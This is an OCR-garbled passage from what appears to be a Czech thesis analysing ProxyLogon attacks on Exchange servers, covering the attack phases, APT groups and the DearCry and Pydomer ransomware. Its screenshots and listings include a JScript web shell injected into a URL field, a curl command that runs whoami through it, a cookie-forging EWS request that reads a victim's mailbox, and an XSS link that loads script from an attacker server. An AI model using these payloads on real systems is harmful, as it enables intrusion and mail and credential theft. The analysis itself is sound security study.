¥-Calculatedbetarget: win-lu7podcdsch.megacorp.local

¥-Content-Type-Options: nosniff

7 X-Diaginfo: WIN-LU7PODCDSCE
B X¥-Beserver: WIN-LU7PODCDSCB
9 X-Ua-Compatible: IE=10

0 ¥-Aspnet-Version: 4.0,30318
1 Set-Cooki

ASP,MET_SessionId=
d-8e7c-9lfc

: msExchEcpCanar
wyCxnBIDCGExEnBGnqlgGt 0 I05CaggNHE- ch7EL uBy GuwSBy dzd rB77Ke
Si onshs.; path=/ecp;SameSite=None

3 X-Powered-By: ASP.NET

14 ¥-Feserver: WIN-LUTPODCDSCB

15 Date: Thu, 07 Apr 2022 19:39:35 GMT

16 Content-Length: O

2318f: path=/; secure; HttpOnly

@i €»

0 matches

B Obrazek 2.6 Utocnik se autentizuje sluzbé ProxyLogon diky ziskanému SID (vyznaéeno zluté) z pied-
choziho pozadavku. V Cookie X-BEResource taktéz pouzije e-mailovou adresu, se kterou je ono SID sva-
zéno. Diky tomu server utocnika autentizuje a jako odpovéd mu vrati dvé cookies: ASP.NET__ Sessionld
a msExchCanary. Tyto cookies umozinuji pfistup do sluzby EAC bez nutnosti autentizace po urcity
¢as. Syntaxe poZzadavku byla inspirovéna z [24]. Utoénik mé tedy plny piistup ke konfiguraci serveru
a nasledné muze zneuzit nékterou zranitelnost v EAC.
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@ Virtual Directory — Mozilla Firefox [FEr TR

QO & https://win-lu7podcdscb/ecp/VDirMgmt/EditOABVDIraspx?pwmcid=6&Return B % | =
OAB (Default Web Site)

Server:

I WIN-LU7PODCDSCB

Last modified time:

|2f41'2022 418 PM

Polling interval {minutes):

20 |

Internal URL:

| https:/fwin-luTpodcdsch. megacorp local /OAB |
he URL from which Outlock clients inside the corporate network

virtual direct;

v
¥

The ExternalURL is the URL
that clients will use to
connect outside your
firewal

External URL:

[ http/7abrakaDabrakar# <script language="JScript” runat="server"> function Page Load(}{eval

Thi nal URL re
his virtual directory.

to the URL from which Outlook clients cutside the corporate network

Save Cancel

B Obrazek 2.7 Utoénik se nachézi ve fazi, kdy mé piistup do EAC jako administrator a snazi se nahrat
na server vlastni Web Shell. Pro tento ucel zneuzije moznost konfigurovat nastaveni sluzeb. Do policka
pro nastaveni externi url adresy vlozi skodlivy kéd pro Web Shell.

http://AbrakaDabraka/#
<script language="JScript" runat="server'">
function Page_Load() {
eval (Request ["EvilCorp"], "unsafe");
}

</script>

B Vypis kédu 3 Nejprve je vlozena neexistujici url, aby prosla kontrola na strané serveru, ze se opravdu
jednd o url. Nésledné je vlozen znak #, ktery obvykle odkazuje na urcitou ¢ast webové stranky, a proto
je také validni ho pouzit. Utoc¢nik vsak dale vlozi kéd pro sviij Web Shell a tim si ho pfipravi pro pozdéjsi
zneuziti.



Analyza ttoku

@

O G https://win-lu7podcdscb/ecp/VDirMgmt/ResetVirtualDirectory.aspx?pwmcid: B ¥

warning

Reset Virtual Directory — Mozilla Firefox b o Bl

When you reset "OAB (Default Web Site)” virtual directary, the current setting will be lost
The virtual directory will be deleted and then re-created with the default settings

Store the current setting in a file: (example: V\serverifolden\log.txt)

Wwin-lu7podedsch\C§\Program Files\Microsoft\Exchange Server\W15\FrontEnd\HttpProxy\e

After reset, you must run the command "net stop was /y” followed by the "net start w3svc
command on server WIN-LU7PODCDSCB for the changes to take effect.

Reset

]

B Obrazek 2.8 Utocnik provede obnovu konfigurace OAB sluzby, pii¢em? soubor zalohy ulozi na vefejné
pristupné misto z internetu na server. Do souboru se vypise vsechna konfigurace véetné externi url adresy,
kam toénik nahral kéd pro Web Shell.

") EvilCorp.aspx - Notepad - *
File Edit Format View Help

Name : 0AB (Default Web Site) "
PollInterval : 480

OfflineAddressBooks

RequireS5L : True

BasicAuthentication : False

WindowsAuthentication : True

OAuthAuthentication : False

MetabasePath : ITS://WIN-LU7PODCDSCE.MegaCorp.local/W3SVC/1/ROOT/0AB

Path : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB
ExtendedProtectionTokenChecking : MNone

ExtendedProtectionFlags H

ExtendedProtectionSPNList

AdminDisplayVersion : Version 15.1 (Build 2176.2)

Server : WIN-LU7PODCDSCE

Internallrl : https://win-lu7podcdscb.megacorp.local/0AB

InternalAuthenticationMethods 1 WindowsIntegrated

ExternalUrl : http://abrakadabraka/#<script language="J]Script” runat="server”>function Page_Load(){eval(
ExternalAuthenticationMethods : WindowsIntegrated

AdminDisplayName
ExchangeVersion
DistinguishedMame
Identity

Guid
ObjectCategory
ObjectClass

WhenChanged
WhenCreated
WhenChangedUTC
WhenCreatedUTC
OrganizationId

Id
OriginatingServer
IsValid

1 8.10 (14.8.100.0)

: CN=0AB (Default Web Site),CN=HTTP,CN=Protocols,CN=WIN-LU7PODCDSCB,CN=Servers,Cl=Exchange A
1 WIN-LU7PODCDSCBA\OAB (Default Web Site)

1 d7f66849-1e6e-4348-bfaa-b580c7F39a44

: MegaCorp.local/Configuration/Schema/ms-Exch-0AB-Virtual-Directory

: top

msExchVirtualDirectory
msExchOABVirtualDirectory

: 471072022 12:19:47 PM
;471872822 12:14:00 PM
T 4/10/2022 18:19:47 AM
;471872022 18:14:00 AM

: WIN-LU7PODCDSCB\OAB (Default Web Site)
: WIN-TMCA96E2AB4 . MegaCorp.local
: True

B Obrazek 2.9 Ukszka obsahu souboru, ktery byl vytvofen pomoci obnoveni konfigurace. Zluté je
vyznacen utocnikem vlozeny skodlivy kod.
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nt

B Obrazek 2.10 V této fazi jiz Gtoc¢nik nahrél na server vlastni Web Shell

Utoky postavené na zranitelnosti ProxyLogon

:~% curl -s -k https://10.98.08.1
'EvilCorp=Response.Write(new ActiveXObject("WScript.Shell")
.Exec("cmd /c whoami

);!
authority\system

.Stdout

.ReadAll()
| head -1

. Na obrazku je vidét moznost

pouziti takového Web Shellu k vyvolani prikazu ,, whoami“.

Request

pretty [EEN \  Actions v

POST /ecp/evil.js HTTB/1.1

Host:
User-Agent: EvilUserAgent
4 Cookie:

admin@exchange02.lab.local /EWS/E:
5 Connection:

exchange.lab.local

X-BEResource=
h .asmx?a=~1942062522;

close

6 Content-Type: text/xml
7 Content-Length: 848

Response

[ Prory VR

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/xml; charset=utf-8

Server: Microsoft-IIS/10.0

request-id: 16745£42-5b62-4066-8d99-c1394c8b2744
X-CalculatedBETarget: exchange02.lab.local
X-CalculatedBETarget: exchange02.lab.local
X-DiagInfo: EXCHANGEO2

X-BEServer: EXCHANGE02

\n  Actions v

4
5

af<
<

7xml version='1.0' encoding='utf-8 7>
soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/"

:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageltemView MaxEntriesReturned="10" Offset:
Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='inbox'>
<t:Mailbox>
<t:EmailAddress>userl@lab.local</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>

0|</soap:Envelope>

:t="http://schemas.microsoft.com/exchange/services/2006/types"
‘http://schemas.microsoft.com/exchange/services/2006/messages

" BasePoint=

0 X-FEServer: EXCHANGE02
X-AspNet-Version: 4.0.30319
set-Cookie: exchangecooki
13 Set-Cookie: X-BackEndCooki
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE

Date: Tue, 23 Mar 2021 22:17:08 GMT
Connection: close

Content-Length: 2661

2c998d5ffd045el89c3ae9add9sSfect; expires=wWed,
5-1-5-21-2330824042-3649196914-3641884732-110

<?xml version="1.0" encoding="utf-8"2>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Header>
<h:ServerVersionInfo MajorVersion="15" MinorVersion="1" MajorBuildN
</s:Header>
<s:Body>
<m:FindItemResponse xmlns:m="http://schemas.microsoft.com/exchange/:
<m:ResponseMessages>
<m: FindItenResponseM
<m:ResponseCode>
NoError
</m:ResponseCode>
<m:RootFolder IndexedPagingOffset="1" TotalItemsInView="1" In
<t:Items>

lass=" ">

<t:Message>

<t:TtemId Id="AAAPAHVzZXIxQGxhYi5sb2NhbABGAAAAAABIeoodA:
IPM.Note

</t:TtemClass>
’<t:SubjEct>

Thanks for joining our team,
</t:Subject>
<t:Sensitivity>

Normal
</t:Sensitivity>

John!‘

02 3122:13
</t:DateTimeReceived>

B Obrazek 2.11 Utoénik zneuzil zranitelnost ProxyLogon k tomu, 7e pfeposlal pozadavek na jiny Ex-
change server na stejné siti. Zaroven vyuzil programovaci rozhrani EWS, aby si od jiného serveru vyzidal
poslednich 10 e-maild obéti. Server odpovédél unikatnimi identifikdtory e-maili. Obdobnym pozadavkem
tak muze uto¢nik ziskat obsah jakéhokoliv e-mailu. Obrézek byl pfevzat z [25].



Analyza ttoku

var xmlHttp = new XMLHttpRequest();

xmlhttp.open("GET", "https://<ExchangeServer>/owa/auth/evil.js", false);
document.cookie = "X-AnonResource=true";

document.cookie = "X-AnonResource-Backend=<EvilServer>/#~1";
xmlhttp.send();

B Vypis kédu 4 Kobd, ktery demonstruje, jak nastavit zranitelnou cookie a presmérovat pozadavek na
vlastni server. Uto¢nik typicky zasle obéti Skodlivou url, ve které je zneuzita zranitelnost XSS k tomu,
aby nacetla podobny kdod jako tento. Nasledné dtoc¢nik poslouchd na svém serveru a diky tomu se mu
miize podafit odchytit cookies obéti.

2.3.1.3 ProxyOracle

Dalsim zaznamenany zptisob utoku, i kdyz velmi zridka pouzivany, byla kombinace zranitelnosti
ProxyOracle a ProxyLogon. Tento zpisob ttoku se praktikoval hlavné na velmi Spatné zabezpe-
¢enych serverech, protoze bylo nutné, aby server byl minimalné pul roku neaktualizovany. Jak se
vSak ukazalo, existuji i servery které na zac¢atku roku 2022 maji stale nezédplatovanou zranitelnost
ProxyLogon a tedy vice nez rok neaktualizovany server, proto tato forma ttoku mohla byt pou-
7ivana. Utok spoéivé v tom, Ze Gtoénik postupné zneuzije zranitelnosti CVE-2021-31195 (XSS),
CVE-2021-2685 (ProxyLogon), CVE-2021-31196 (Padding Oracle) a vyuZije socidln{ inZenyrstvi
nebo phishing, aby pfimél nepozorného zameéstnance firmy kliknout na skodlivy odkaz. Samotna
zranitelnost CVE-2021-31195 (XSS) neumoziuje ukrast cookie z prohlizece, protoze maji priznak
httpOnly. Proto ttoénik zneuZije jeSté zranitelnost CVE-2021-2685 (ProxyLogon) — konkrétné
do gkodlivého odkazu piidé jesté kod, ktery nastavi cookie X-AnonResource-Backend na ttoc-
nikem kontrolovany server a kvuli tomu se na néj pozadavek presméruje. Utoénik tak ziskd
uzivatelovy cookies a pokud byl uzivatel pri kliknuti na odkaz prihlasen v prohlize¢i do OWA,
tak ttocnik ziska i jeho zasifrované udaje v podobné cookie cadata. Nésledné tto¢nik odcizené
prihlasovaci udaje rozsifruje pomoci Padding Oracle itoku a ziska tak jeho piihlasovaci jméno
a heslo v otevieném textu.

Vlozeni skodlivého kédu do url se typicky déla skrze nacteni zdrojového kédu javascriptu
z tto¢nikova serveru. Vysledny odkaz muze vypadat napriklad takto:

https://<ExchangeServer>/owa/auth/frowny.aspx?app=people&et=ServerError&esr
c=MasterPage&te=\&refurl=}}1};document.head.appendChild (document.createEleme
nt(/script/.source)) .src=/http:\/\/<EvilServer>\/evil.js/.source//

Pricemz na http://<EvilServer>/evil. js se nachézi tto¢nikiv kéd pro nastaveni cookies.
Priklad takového kédu je na ukdzce kédu }4 [26]

2.3.1.4 Phishing

Poslednim zptisobem je vydavani se za nékoho uvnit organizace. Utoénik nejprve ziska pifstup
do EAC pomoci zranitelnosti ProxyLogon. Néasledné si diky pfistupu do EAC vytvoii novou e-
mailovou adresu, kterou opatii patfi¢nymi identifikdtory (CEO assistant, Head of Business atd.).
Nakonec z této adresy muze posilat podvodné e-maily vnitinim zaméstnanctim, nebo nékomu
externimu a vydavat se za napadenou organizaci.

2.3.2 Faze ttoku

7 davodu prehlednosti byly Gtoky rozdéleny do ¢tyr fazi a kazdd faze je zkouména samostatné.
Prvni faze je datovdna na leden 2021, kdy dtoky podle Microsoftu vedla skupina Hafnium.[27]
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Faze 1 Faze 2 Faze 3 Faze 4

2.3.2021
Zacatek masivniho
zneuzivani po celém
svété.

1.3.2021
LuckyMouse,
Calypso a Websiic
zahéjili Gtok. 2.3.2021
Wintii zahdjilo
utok.

3.1.2021 5.1.2021
Hafnium Orange Tsai oficidlné
zahajilo utok. nahlasil zranitelnost
Microsoftu.

24.2.2022

28.2.2021 Zacatek kybernetické valky.

Tick zahajilo
utok.

2.3.2021
Microsoft vydal
oficialni zaplatu.

B Obrazek 2.12 Casova osa zachycuje podstatné momenty tykajici se titoktl, které zneuzivaji zranitelnost
ProxyLogon. Pro lepsi piehled byly ttoky rozdéleny do ¢ty fazi a samostatné analyzovany.

Druhé faze je datovana na tinor a zacatek brezna, kdy se do ttoku pridalo nékolik dalsich Spio-
naznich skupin, které jsou znaceny jako APT. Ttet{ faze je od data 02.03.2021, kdy Microsoft
vydal oficidlni zaplatu. Uto¢nici a bezpeénostni analytici provedli analyzu zaplaty a diky tomu
zjistili, kde pfesné se zranitelnost nachézi. Nasledovala masivni vlna ttoku po celém svété. Po-
sledni ¢tvrta faze je vyclenéna od tnora roku 2022. V této dobé zacala ruské invaze na Ukrajinu,
a kromeé fyzické valky se rozpoutala celosvétova virtualni valka v kybernetickém prostoru. Pri
utocich byla pouzita velkd mnozina zranitelnosti véetné ProxyLogonu.

2.3.2.1 Hafmium

Prvni faze zacala 3.1.2021 ttoky organizace Hafnium. V této dobé nebyla zranitelnost vibec
znama a nebyla definovand obrana proti témto utokum, tudiz byl ProxyLogon oznacen za zero-
day zranitelnost.[28] O dva dny pozdéji bezpeénostni analytik Orange Tsai oficidlné nahlésil zrani-
telnost Microsoftu. Zaplaty viak od nahléSeni jesté dlouhou dobu oficidlné neexistovaly. Utoénici
se do serveru dostavali nejcastéji skrze postupné zneuziti backend sluzeb a naslednym nahranim
Web Shellu. Hlavni cile ito¢nikt byly odcizeni dat a nahrani zadnich vratek pro budouci ptistup,
az bude zranitelnost opravena. Podle analyzy od MSTIC (Microsoft Threat Intelligence Center)
postupovalo Hafnium po nahrdni Web Shellu tak, Ze nejprve ziskali dump (obsah) paméti pro-
cesu LSASS (Local Security Authority Subsystem Service), ktery je zodpovédny za bezpecénost
serveru (prihlasovani, zména hesla, generovani pristupovych tokent atd.).[29] Nésledné tito¢nici
pouzili program 7zip na export privatnich dat ze serveru a také nainstalovali nékolik funkciona-
lit do programu Exchange pro pohodlnéjsi export e-mailové posty. Déale stahli vSechny e-maily
a také OAB (Offline Address Book), ze kterého ziskali jména a informace o vSech uZivatelich
(typicky tedy o vSech zaméstnancich firmy). Nakonec na server nahréli program pro pohodl-
néjsi pozdéjsi pristup, nejcastéji PowerCat, ktery umoznuje vzdaleny pristup skrze Powershell.
Dump paméti LSASS procesu byl pozdéji analyzovan a Hafnium se z néj snazilo ziskat zaheSo-
vané hesla, ptrihlasovaci tokeny atd. Pro tyto ticely se daji pouzit automatické néstroje, jako je
napiiklad mimikatz®. Z divodu vétsiho rozsifeni se Microsoft snazi tyto automatické nastroje de-
tekovat a branit se. Hafnium proto tyto nastroje nepouzivalo a udélalo jen kopii pameéti procesu,
a pravé diky tomu nebyli jejich ttoky ihned prozrazeny. Hafnium je proslulé podobnymi ttoky,
kdy zneuziva zero-day zranitelnosti k odcizeni dat a informaci, avsak nedéla na serverech néco
vice invazivniho (tfeba Sifrovani dat). Hafnium a jeho motivy jsou vice popsané v samostatnych
podkapitolach. [27]

3APT (Advanced Persistent Threat té7 zndmé jako pokroéil trvald hrozba) je $pionazni skupina vysoce kva-
lifikovanych a nebezpecnych toénikii, ¢asto sponzorovanych vlddou urc¢itého statu.

4Néstroj je dostupny na vefejném github repozitafi: https://github.com/besimorhino/powercat

5Naéstroj je dostupny na vefejném github repozitafi: https://github.com/ParrotSec/mimikatz
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2.3.2.2 APT (Advanced Persistent Threat)

Druha faze se vymezuje od 28.2.2021 do vydéni oficidlni zaplaty, tedy do 2.3.2021. V prvni fazi
nebyly ttoky tolik rozsitené, avsak stalo néco neocekavaného — zranitelnost se stala populdrni
a do ttoki se piipojilo nékolik dalsich APT skupin, predevsim z Ciny. Motivy byly stejné: kyber-
netickd Spionaz. VSechny skupiny provadély ttoky podobnym stylem jako Hafnium. Na serverech
tedy nedélaly nic invazivniho (Sifrovani, mazéni atd.), ale ,, pouze* kradly data a instalovaly zadn{
vratka.

Prvni z dalsich APT skupin, které zacaly ttocit, byla organizace nazyvajici se Tick. Jedna se
o kyberspionazni skupinu, kterd se primarné zameétruje na krddez utajovanych informaci a inte-
lektudlniho vlastnictvi. Pro ziskani pristupu nahraval Tick Web Shell na tuto cestu: C:\inetpub\
wwwroot\aspnet_client\aspnet.aspx. Déle Tick ukradl data a nainstaloval vlastni zadni vratka,
napsand v prostiedi Delphi. Tick historicky ttocil primarné na organizace v Japonsku, ale také
na organizace se sidlem v Koreji, Rusku a Singapuru. Pfi tomto itoku Tick neudélal vyjimku
a utoky byly vedené na organizace se sidlem v jizn{ Asii. [30]

Dalsi APT skupina, kterd se pripojila k utokim, se nazyva LuckyMouse, ale je znama téz
jako Emissary Panda nebo APT27. Jedna se taktéz o kyberpiondzni skupinu, ktera historicky
Uispésné zatutocila na nékolik vlddnich organizaci ve stfedni Asii a také na mezinarodni organizaci
pro civiln{ letectvi (ICAQO). Pfi Gitoku na Exchange postupovala tak, Ze nejprve nahrala na server
nastroj Nbtscan. Tento nastroj dokaze oskenovat sif pro sdilené slozky na ostatnich serverech.
Utoénici tedy chtéli zjistit, zda mohou ziskat dalsi data ze sité. Nakonec odcizili zajimava data
a nainstalovali vlastni zadni vratka. Skupina LuckyMouse ma zdklady v Ciné a nékteré zdroje
se domnivaji, Ze se je sponzorovand tamni vladou. [31]

Nésledovaly skupiny Calypso, Websiic a Winnti. Vsechny tyto skupiny postupovaly podob-
nym zpusobem, tedy nahraly webshell, ukradly utajovana data a nahraly vlastni zadni vratka.
Utoky vedené skupinou Winnti byly provedeny jen par hodin pted oficidlnim vydani zaplaty od
Microsoftu. [32]

Dosud neni ziejmé, jak se ttoc¢nici dostali k technickym detailtim zranitelnosti predtim, nez
Microsoft vydal oficidlni zaplatu. Spekuluje se o prodani a sdileni technickych detailtt mezi jed-
notlivymi APT skupinami. Na ¢inském online obchodé Ancient Tea Horse Road byla vystavena
nabidka ohledné zranitelnosti Exchange, ktera slibovala i RCE, viz obrazek @ Tea Horse Road
je ilegalni online obchod v ¢inském jazyce, umistény na dark webu.

2.3.2.3 Zaplata

Tret{ faze Gtokt nasledovala ihned po vydani oficialni zéplaty zranitelnosti ProxyLogon. Utoénici
a bezpecnostni analytici provedli analyzu zaplaty a diky tomu zjistili, kde presné se zranitelnost
nachézi. Dale se zacaly objevovat online verejné pristupné programy, které demonstrovaly zneuziti
zranitelnosti. Microsoft se aktivné snazil tyto programy mazat, naptiklad z verejného Githubu, ale
je otazkou, jakou to mélo téinnost. Diky tomu se tak do itokd mohli zapojit i itoc¢nici s juniornimi
znalostmi a nepottfebovali znat detaily zranitelnosti. Tyto tito¢nici casto volili invazivnéjsi feSeni,
aby mohli obét napiiklad vydirat a ziskat penize nebo aby mohli servery zapojit do botnetové
sité.

Jeden z nejcastéjsich itok bylo nahrani ransomware, tedy programu, ktery néjakym zpi-
sobem zablokuje pocita¢ (nejcastéji zasifruje vSechna data uzivatele) a za odblokovani pozaduje
vykupné.[34] Pii tocich na Exchange servery bylo zaznamendno infikovdni malwarem Doej-
oCrypt (zndmy téz jako DearCry). Tento Malware byl vyroben nejspiSe za ti¢elem infikovan{
pravé zranitelnych Exchange serverti, protoze byl poprvé spatfen v souvislosti se zranitelnosti
ProxyLogon. Uto¢nici nejprve pustili batch skript, ktery udélal kopii databdze Security Account
Manager (SAM), kde jsou ulozeny zaheSovand uzivatelskd hesla. Déle provedli kopii bezpeénost-

6Botnetova sit je v tomto kontextu chapéna jako sit pocitacii infikovanych specidlnim softwarem, pomoci
kterého je mozné pocitace ridit.
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B Obrazek 2.13 Obréazek je z prostiedi ¢inského ilegdlniho online e-shopu. Uzivatel vystavil nabidku,
kterd 14ka na prodéni informaci o zranitelnosti Exchange, a to takové, ze vysledkem je RCE. Nejspis
se tedy jedn4 prévé o zranitelnost ProxyLogon. Utoénik si za takovou informaci si tétuje 8000 dolari,
tedy v roce 2022 zhruba 180 tisic ¢eskych korun. Takovd nabidka utvrzuje v tom, zZe si Gtocnici raznych
skupin mezi sebou vymeénovali informace o zranitelnosti, a proto ji zneuzili jesté predtim, nez byla vydana
oficidlni zaplata. Obrazek je pfevzaty z [@]

nich registri, kde se naptiklad nachazi registr, ve kterém jsou ulozend hesla pro sluzby a naplé-
nované spousténi procest. Diky tomu si tak ttoc¢nici udélali zadni vratka pro pfistup na server
skrze nékterého uzivatele, pokud by v budoucnu ztratili piistup pres Web Shell, napriklad kvili
detekci od antiviru. Nésledné dtocnici na server nahrali nékolik dalsich pomocnych programu
a utok vyustil tim, Ze se na infikovaném pocitaci zasifrovala vétsina soubortu a uzivatel dostal
vydéradskou zpravu (obrazek 2.14)). DearCry provadi Sifrovaci proces tak, Ze nejprve zkontroluje,
zda se koncovka souboru nachdzi v mnoziné koncovek soubort, které ma Sifrovat. Néasledné za-
¢ne sifrovat tak, ze Sifrovanou podobu zapisuje jako novy soubor. Po zasifrovani prepise ptivodni
soubor znaky ,, A“ a nasledné ho smaze. Diky tomu, Ze nejprve origindlni soubor prepise, je skoro
nemozné, ze by se uzivatelovi ptuvodni soubor podarilo obnovit. Déle do kazdého zaSifrovaného
souboru vlozi na zacatek text ,, DEARCRY!“ a nakonec uzivatelovi zobrazi vydéracskou zpravu.
[M, kap. DoejoCrypt ransomware] ﬂﬁ]

Dalsim ransomwarem, ktery byl pouzivan pri utocich, byl Pydomer (téZ zndmy jako The Black
Kingdom). Tento ransomware oproti DearCry je zndmy i z piedchézejicich ttoku a je zajimavy
tim, Ze byl napsan v Pythonu. Utoénici pfi Gtocich na Exchange servery ne pokazdé zagifrovali
data, nékdy pouze ukradli tajné informace a nésledné nechali uzivateli vyhruznou zpravu, kterd
tikala, ze pokud nezaplati, tak budou vsSechna data zvefejnéna na dark webu — obrazek [2.15.
Na rozdil od DearCry je Pydomer amatérsky ransomware obsahujici nékolik fatalnich chyb, diky
kterym muze administrator v ur¢itych pripadech ziskat zpatky zasifrované soubory. Pydomer po-
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 readme - Notepad
File Edit | Format \View Help

vour file has been encrypted!
If you want to decrypt, please contact us.
konedieypRairmail. cc or wenwonken@memail.com
And please send me the following hash!

B Obrazek 2.14 Ukéazka vzkazu, ktery zanechd malware DearCry uzivateli poté, co mu zaifruje vétsinu
soubort. Utoénik mé v tomto pripadé pro kazdou obét vygenerovany unikéatni Sifrovaci a desifrovaci klic.
Pﬁ, co obét zaplati utocnikovi uréity finanéni obnos, tak ttocénik zasle obéti desifrovaci kli¢. Prevzato
z [35].

We are Black KingDom Hackers
We hacked your ({ Network )), and now all files, documents, images is Uplead in our servers.
If you want to delete wour files from us, you can do this step:

- send the following amount of US dollars ( 18,880 ) worth of bitcoin:

= Connect with us
The consequences of not paying within two days are very dire. Your files will be displayed for
sale on our Darknet website.

B Obrazek 2.15 Ukdzka vzkazu, ktery zanechd Malware Pydomer, pokud se mu z n&jakého duvodu
nepovede zasifrovat citlivé soubory. Vzkaz mé vyvolat strach a vydird uzivatele tim, ze zvefejni vsechny
citlivé iidaje k prodeji na dark webu, pokud nezaplati vypalné. Vzkaz také obsahuje nékolik gramatickych
chyb, které tak mohou vzbuzovat dojem, ze je utocnik do jisté miry spatné kvalifikovany. Obrazek byl
prebran z Analyzy Microsoftu. [ﬂ, kap. Pydomer ransomware]

uziva symetrické Sifrovani, pricemz Sifrovaci kli¢ vygeneruje pti spusténi a nasledné se ho pokusi
nahrat na lozisté mega.io. Pokud se programu nepodafi nahrat vygenerovany kli¢ na tloziste,
pouzije misto toho kli¢, ktery je natvrdo ulozen ve zdrojovém kédu programu. ZkuSenéjsi obét
tak muze snadno ziskat Sifrovaci kli¢ a soubory si rozsifrovat. Dalsi fatdlni chybou je, ze pri-
hlasovaci idaje na ulozisté Mega jsou taktéz natvrdo napsané v programu. Neni vSak ziejmé,
zda méli itocnici automatizovany proces, ktery by nahrané klice z dlozisté okamzité po jejich
nahrani presunul jinam. Nicméné v prubéhu titoki nezndmy tcastnik zménil prihlasovaci idaje
na ulozisti a vSechny nésledujici utoky tak pouzivaly Sifrovaci kli¢ uloZeny pfimo v programu.
Dalsi zajimavou vlastnosti bylo, Ze Pydomer vsechny obéti odkézal na stejnou bitcoinovou ad-
resu a negeneroval pro kazdou obét unikatni adresu. Diky tomu je mozné dohledat, ze ttocnikiim
byla posldna pouze jedna platba (viz obrizek ) Samotny Pydomer je sice kompilovan po-
moci nastroje PylInstaller do spustitelného bindrntho souboru, avsak takovy proces lze invertovat
a ziskat tak zdrojovy kéd programu. Kvuli témto vlastnostem byl pozdéji Pydomer oznacen
spiSe za scareware’ nez ransomware. [36] Vzorky DearCry i Pydomer byly nahrdny na portél
MalwareBazaar. [E]

Dalsi zajimavy ttok skrze zneuziti ProxyLogonu 1stil v nainstalovani viceticelového malware.
Typicky takovy program na pozadi téz kryptoménu (nazyvano , miner“) a dale je schopny ttoc-
nikovi nabidnout zadni vratka a infikovany server zapojit do botnetové sité. Vicetucelovy malware
Lemon Duck byl zachycen pri utocich na Exchange servery. Tento malware je velmi sofistiko-
vany, a kromé vyse popsaného ma jesté nekolik dalsich funkcionalit. Tou zasadni funkcionalitou
je deaktivace ruznych antivirovych programu (napt Eset, Windows Defender atd.) a vypnuti
firewallu. Déle Lemon Duck v nékterych pripadech sdm opravil zranitelnost ProxyLogon a od-
stranil dosud nahrané Web Shelly. Tim ziskal exkluzivni pristup na infikovany server a zaroven
mohl utvrdit naivni obéf v tom, Ze je server zdravy. Zde je vidét, jak je dulezité server radné

7Scareware je druh malwaru, ktery za pomoci socidlniho inZenyrstvi (vyvolani Soku, strachu, dzkosti, deprese
atd.) manipuluje s uzivatelem, nejcastéji za ucelem zaplaceni vykupného.
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Transactions

Fee 0.00019503 BTC -0.17300000 BTC
(87.457 sat/B - 21.864 sat/WU - 223 bytes)

Hash 78082cdc887cab59247ded35084b041066868aa227€028621561773ebf53b... 2021-03-22 09:14

1Lf8ZzcEhhRIXpk6YNQFpCJcUisiXb34FT 0.17300000 BTC 'ﬁ?ﬁ'* 153Uoj2JWmNuvzmi29yJFa9GBFsPiyZ2Mo 015460156 BTC &
39jsWPwzu6Cr21pSrFmz7HdvMBRSyqatx2 0.01820341 BT

Fee 0.00019773 BTC 4017300000 BTC
(87.491 sat/B - 34.448 sat/WU - 226 bytes)
(137.313 sat/vByte - 144 virtual bytes)

Hash 58e15fbef61ec133b3a788hbd1f583736da9537¢50431c512ff29b5720d3efd6b 2021-03-18 20:11

bc1q2vxr92q7ra9586ha6epqj96gvat3krm4dtegk0 017992570 BTC '35?» belgrznw0s370xf4h8t9kt33vj0djs2x6pvenrpeus 0.00672797 BT!
1Lf8ZzcERhRIXpk6YNQFpC JeUisiXb34FT 017300000 BTC &*

B Obrazek 2.16 Na obrazku je vidét vypis transakci bitcoinové adresy
1L£8ZzcEhhRiXpk6 YNQFpCJcUisiXb34FT. Tato adresa slouzila pro poslani vykupného utocni-
kim, ktefi vyvinuli Pydomer. Kazdé nakazené obéti se zobrazila tato stejnd adresa. Jak je vidét, byla
realizovdna pouze jedna platba v tehdejsi hodnoté deset tisic dolarii. Utoénikiim se tedy povedlo pFimét
pouze jednu obét z nékolika tisic, aby zaplatila vypalné.

zkontrolovat i po aplikaci bezpecnostni zaplaty. V nékterych pripadech ttoc¢nici zneuzili naka-
zeny server a rozeslali podvodné e-maily na ziskané kontakty. Takové e-maily obsahovaly radné
zvrhle neodolatelné nadpisy, jako ,, The truth of Covid 19 — it comes from USA®“ nebo ,, What the
fecuk, are you out of your mind!!!!'* a v p¥floze obsahovaly malware Lemon Duck. [38]

Déle nésledovala velka fada rtznorodych ttoku a zranitelnost obletéla svétem. Predevsim
utoc¢nici po zneuziti zranitelnosti rizné manipulovali se ziskanymi daty a zneuzivali je k podvo-
dim. Nékteré zranitelné populérni servery byly napadeny vice Gtoc¢niky a stavalo se, Ze si tito¢nici
navzdjem odebirali piistup. 22.3.2021 Microsoft oznamil, Ze 92 % Exchange serverti bylo zdpla-
tovédno a byly z nich odstranéni kodlivé programy. [39] Vétsina servert byla tedy zaplatovina
pomérneé rychle v porovnani s predchozi podobnou zranitelnosti CVE-2020-0688, pro kterou exis-
tovala zaplata od tinora roku 2020, avsak jesté v zaff roku 2020 zranitelnost obsahovalo 61 %
verejné pristupnych serverﬁ.@] Prestoze byly servery zaplatovany rychle, atoc¢nici zvladli na-
péachat velké mnozstvi skod a tato problematika je vice rozebrana v kapitole 2.3.3

2.3.2.4 Vailka na Ukrajiné

Kvili ozbrojenému konfliktu na Ukrajiné zacala i kybernetickd valka mezi Ruskem a Ukrajinou.
Do utoki se postupem ¢asu zacali pripojovat novi icastnici a kyberneticka valka rychle prerostla
v mezindrodni. V této dobé je ProxyLogon znadmy jiz vice nez rok a dalo by se ocekavat, ze
zranitelnych serveru bude zlomkové mnozstvi a nebudou prisluset dilezitym organizacim. AvSak
v jednom z ttoku byla zranitelnost ProxyLogon tdajné ispésné zneuzita.

Napadené spolecnost se jmenuje Tetraedr a jedna se o béloruskou organizaci, ktera vyrabi
a dodava vojenské zbrané, prevazné radiové systémy, hardware a software pro vojenské radary
